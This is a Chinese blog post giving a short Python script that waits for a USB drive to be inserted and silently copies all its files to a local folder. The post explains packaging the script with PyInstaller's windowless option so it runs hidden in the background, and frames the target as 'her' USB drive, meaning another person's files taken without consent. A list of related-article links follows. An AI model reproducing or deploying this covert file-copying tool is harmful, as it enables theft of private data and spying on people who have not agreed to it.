仅用几行Python代码就能复制她的U盘文件?


Posted in Python onJune 26, 2021

代码

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
 
# U盘的盘符
usb_path = "E:/"
# 要复制到的路径
save_path = "D:/haha"
 
while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

上面就是所有的代码,代码有两个地方要改成你自己的路径,我在代码里注释了

  • usb_path就是U盘的盘符,比如你的电脑有C,D盘,那么U盘插上来以后路径就是E盘
  • save_path就是你要把复制的文件保存在哪里

Python文件打包成exe

1. 在命令行用pip安装 pyinstaller包

pip install pyinstaller

2.下载安装pyinstaler运行时所需要的windows扩展pywin32

mhammond/pywin32

选择最新版的下载,注意要选择对应的python版本(version)和python位数(bittedness)

通过在命令行输入python查看python版本和位数

如下所示为python3.6的32位,需要下载[pywin32-223.win32-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32

如下所示为python3.6的64位,需要下载[pywin32-223.win-amd64-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

3.在命令行中直接输入下面的指令即可

pyinstaller [opts] yourprogram.py

参数含义

-F    指定打包后只生成一个exe格式的文件(建议写上这个参数)

-D    ?onedir 创建一个目录,包含exe文件,但会依赖很多文件(默认选项)

-c    ?console, ?nowindowed 使用控制台,无界面(默认)

-w    ?windowed, ?noconsole 使用窗口,无控制台

-p    添加搜索路径,让其找到对应的库。

-i    改变生成程序的icon图标(比如给女朋友写的程序,换个好看的图标,默认的很丑)

实例说明

比如你有个python程序叫test.py,绝对路径在[D:\project],打包成一个exe格式的文件

pyinstaller -F D:\project\test.py

条件同上,如果还希望没有控制台的黑框框,在进程中偷偷运行

pyinstaller -F -w D:\project\test.py

条件同上,如果还希望更换程序图标

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

运行程序

最后双击打开生成的exe文件,你看不到界面,但是可以在任务管理器的后台进程中找到,当有U盘插入,就会自动复制到你设定的地址,然后进程就会自动关闭。

仅用几行Python代码就能复制她的U盘文件?

到此这篇关于仅用几行Python代码就能复制她的U盘文件?的文章就介绍到这了,更多相关Python代码复制U盘文件内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python 基础知识之字符串处理
Jan 06 Python
python编程测试电脑开启最大线程数实例代码
Feb 09 Python
python中数据爬虫requests库使用方法详解
Feb 11 Python
Python使用正则表达式分割字符串的实现方法
Jul 16 Python
python__name__原理及用法详解
Nov 02 Python
Python脚本如何在bilibili中查找弹幕发送者
Jun 04 Python
Python API 操作Hadoop hdfs详解
Jun 06 Python
python简单利用字典破解zip文件口令
Sep 07 Python
Python在centos7.6上安装python3.9的详细教程(默认python版本为2.7.5)
Oct 15 Python
Python urlopen()参数代码示例解析
Dec 10 Python
python matplotlib工具栏源码探析二之添加、删除内置工具项的案例
Feb 25 Python
关于Python OS模块常用文件/目录函数详解
Jul 01 Python
总结几个非常实用的Python库
Jun 26 #Python
手残删除python之后的补救方法
Python办公自动化之教你用Python批量识别发票并录入到Excel表格中
Python Pandas模块实现数据的统计分析的方法
Jun 24 #Python
FP-growth算法发现频繁项集——发现频繁项集
能让Python提速超40倍的神器Cython详解
Jun 24 #Python
FP-growth算法发现频繁项集——构建FP树
You might like
40个迹象表明你还是PHP菜鸟
2008/09/29 PHP
解析posix与perl标准的正则表达式区别
2013/06/17 PHP
php缓冲 output_buffering和ob_start使用介绍
2014/01/30 PHP
php命名空间学习详解
2014/02/27 PHP
Document 对象的常用方法
2009/07/31 Javascript
javascript 日期常用的方法
2009/11/11 Javascript
validator验证控件使用代码
2010/11/23 Javascript
前台js改变Session的值(用ajax实现)
2012/12/28 Javascript
NodeJS学习笔记之(Url,QueryString,Path)模块
2015/01/13 NodeJs
js实现顶部可折叠的菜单工具栏效果实例
2015/05/09 Javascript
javascript实现控制div颜色
2015/07/07 Javascript
js实现3D图片逐张轮播幻灯片特效代码分享
2015/09/09 Javascript
基于javascript实现仿百度输入框自动匹配功能
2016/01/03 Javascript
js实现获取两个日期之间所有日期的方法
2016/06/17 Javascript
jquery对Json的各种遍历方法总结(必看篇)
2016/09/29 Javascript
connection reset by peer问题总结及解决方案
2016/10/21 Javascript
JS点击图片弹出文件选择框并覆盖原图功能的实现代码
2017/08/25 Javascript
vue生成token保存在客户端localStorage中的方法
2017/10/25 Javascript
微信小程序switch组件使用详解
2018/01/31 Javascript
JavaScript解析机制与闭包原理实例详解
2019/03/08 Javascript
layui表格分页 记录勾选的实例
2019/09/02 Javascript
解决$store.getters调用不执行的问题
2019/11/08 Javascript
Python 变量类型及命名规则介绍
2013/06/08 Python
朴素贝叶斯算法的python实现方法
2014/11/18 Python
python基础梳理(一)(推荐)
2019/04/06 Python
pytorch实现对输入超过三通道的数据进行训练
2020/01/15 Python
pytorch的batch normalize使用详解
2020/01/15 Python
Python操作Sqlite正确实现方法解析
2020/02/05 Python
Python Tornado核心及相关原理详解
2020/06/24 Python
用HTML5 实现橡皮擦的涂抹效果的教程
2015/05/11 HTML / CSS
大韩航空官方网站:Korean Air
2017/10/25 全球购物
怎样声明子类
2013/07/02 面试题
vue路由实现登录拦截
2021/03/24 Vue.js
爱牙日宣传活动总结
2015/02/05 职场文书
高效笔记技巧分享:学会这些让你不再困扰
2019/09/04 职场文书
企业开发CSS命名BEM代码规范实践
2022/02/12 HTML / CSS